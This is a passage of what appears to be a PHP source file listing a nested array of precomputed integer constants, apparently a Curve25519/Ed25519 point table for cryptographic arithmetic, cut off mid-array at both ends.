array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655), ), array( array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220), array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631), array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099), ), array( array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556), array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749), array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930), ), array( array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391), array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253), array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066), ), array( array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958), array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082), array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383), ), array( array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521), array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807), array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948), ), array( array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134), array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455), array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629), ), ), array( array( array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069), array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746), array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919), ), array( array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837), array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906), array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771), ), array( array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817), array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098), array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409), ), array( array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504), array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727), array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420), ), array( array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003), array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605), array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384), ), array( array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701), array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683), array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708), ), array( array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563), array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260), array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387), ), array( array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672), array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686), array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665), ), ), array( array( array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182), array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277), array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628), ), array( array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474), array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539), array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822), ), array( array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970), array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756), array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508), ), array( array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683), array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655), array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158), ), array( array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125), array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839), array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664), ), array( array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294), array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899), array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070), ), array( array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294), array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949), array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083), ), array( array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420), array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940), array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396), ), ), array( array( array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567), array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127), array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294), ), array( array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887), array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964), array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195), ), array( array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 690426, 14876244), array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999), array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762), ), array( array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274), array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236), array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605), ), array( array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761), array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884), array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482), ), array( array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638), array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490), array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170), ), array( array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736), array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124), array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392), ), array( array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029), array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048), array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958), ), ), array( array( array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593), array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071), array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692), ), array( array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687), array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441), array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001), ), array( array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460), array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007), array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762), ), array( array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005), array(-9442290, 6624296, -30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674), array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035), ), array( array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590), array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957), array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812), ), array( array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740), array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 7463304, 4176122), array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158), ), array( array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885), array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140), array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857), ), array( array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155), array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260), array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483), ), ), array( array( array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677), array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815), array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751), ), array( array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203), array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208), array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230), ), array( array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850), array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389), array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968), ), array( array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689), array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880), array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304), ), array( array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632), array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412), array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566), ), array( array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038), array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232), array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943), ), array( array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856), array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738), array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971), ), array( array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718), array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697), array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883), ), ), array( array( array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912), array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358), array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849), ), array( array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307), array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977), array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335), ), array( array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644), array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616), array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735), ), array( array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099), array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341), array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336), ), array( array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646), array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425), array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388), ), array( array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743), array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822), array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462), ), array( array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985), array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702), array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797), ), array( array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293), array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100), array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688), ), ), array( array( array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186), array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610), array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707), ), array( array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220), array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025), array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044), ), array( array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992), array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027), array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197), ), array( array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901), array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952), array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878), ), array( array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390), array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730), array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730), ), array( array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180), array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272), array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715), ), array( array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970), array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772), array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865), ), array( array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750), array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373), array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348), ), ), array( array( array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144), array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195), array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086), ), array( array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684), array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518), array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233), ), array( array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793), array(-2936654, -10827535, -10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794), array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435), ), array( array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921), array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518), array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563), ), array( array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278), array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024), array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030), ), array( array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783), array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717), array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844), ), array( array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333), array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048), array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760), ), array( array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760), array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757), array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112), ), ), array( array( array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468), array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184), array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289), ), array( array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066), array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882), array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226), ), array( array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101), array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279), array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811), ), array( array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709), array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714), array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121), ), array( array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464), array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847), array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400), ), array( array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414), array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158), array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045), ), array( array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415), array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459), array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079), ), array( array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412), array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743), array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836), ), ), array( array( array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022), array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429), array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065), ), array( array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861), array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000), array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101), ), array( array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815), array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642), array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966), ), array( array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574), array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742), array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689), ), array( array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020), array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772), array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982), ), array( array(-14822485, -5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953), array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218), array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265), ), array( array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073), array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325), array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798), ), array( array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870), array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863), array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927), ), ), array( array( array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267), array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663), array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862), ), array( array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673), array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943), array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020), ), array( array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238), array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064), array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795), ), array( array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052), array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904), array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531), ), array( array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979), array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841), array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431), ), array( array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324), array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940), array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320), ), array( array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184), array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114), array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878), ), array( array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784), array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091), array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585), ), ), array( array( array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208), array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864), 